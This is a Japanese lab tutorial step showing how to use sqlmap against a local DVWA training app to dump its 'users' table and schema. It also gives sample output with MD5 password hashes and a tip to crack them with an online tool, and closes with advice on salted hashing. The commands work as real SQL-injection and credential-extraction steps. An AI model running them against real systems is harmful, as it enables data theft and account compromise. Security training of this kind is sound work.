取得したデータの分析
このステップでは、sqlmap が SQL インジェクションを通じて正常に抽出した機密性の高いデータベース情報を調べます。これにより、攻撃者がどのようなデータにアクセスできるかを具体的に示すことで、SQL インジェクション脆弱性の現実的な影響を実証します。
- まず、DVWA データベースの 'users' テーブルからすべてのデータを取得しましょう。このコマンドは、前に行ったことを基にしていますが、今回は具体的に users テーブルを対象にして、資格情報を確認します( をあなたのセッションクッキーに置き換えてください)。
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch
-D dvwa
はデータベースを指定し、-T users
は users テーブルを対象にし、--dump
はそのすべての内容を取得します。
- 出力には、データベースに保存されている機密性の高いユーザー情報が表示されます。
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL | 0 |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL | 0 |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg | NULL | 0 |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL | 0 |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL | 0 |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
パスワード列には平文のパスワードではなく、MD5 ハッシュが含まれていることに注意してください。これは生のパスワードを保存するよりはましですが、MD5 は暗号学的に破られており、レインボーテーブル攻撃に対して脆弱です。
-
CrackStation のようなオンラインツールを使用して、ハッシュ値をコピーして貼り付けることで、これらのハッシュをクラックすることができます。これにより、弱いハッシュアルゴリズムが元のパスワードを明らかにするために逆変換できることがわかります。
-
データベースの完全な構造を理解するために、そのスキーマを取得することができます。
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch
--schema
フラグは、すべてのテーブルとその列構造を明らかにし、攻撃者にデータベース全体のロードマップを提供します。これは、さらなる悪用に非常に貴重な情報です。
初心者向けの重要なポイント:
--dump
パラメータは、指定されたテーブルからすべてのデータを抽出します。
- MD5 ハッシュは、多くの場合、事前計算されたレインボーテーブルを使用してクラックできます。
- データベースのスキーマ情報は、攻撃者がデータ構造を理解するのに役立ちます。
- この演習は、単一の SQL インジェクション脆弱性がデータベース全体の侵害につながる可能性があることを示しています。
- パスワードの保存には、常に bcrypt のような強力なソルト付きハッシュアルゴリズムを使用してください。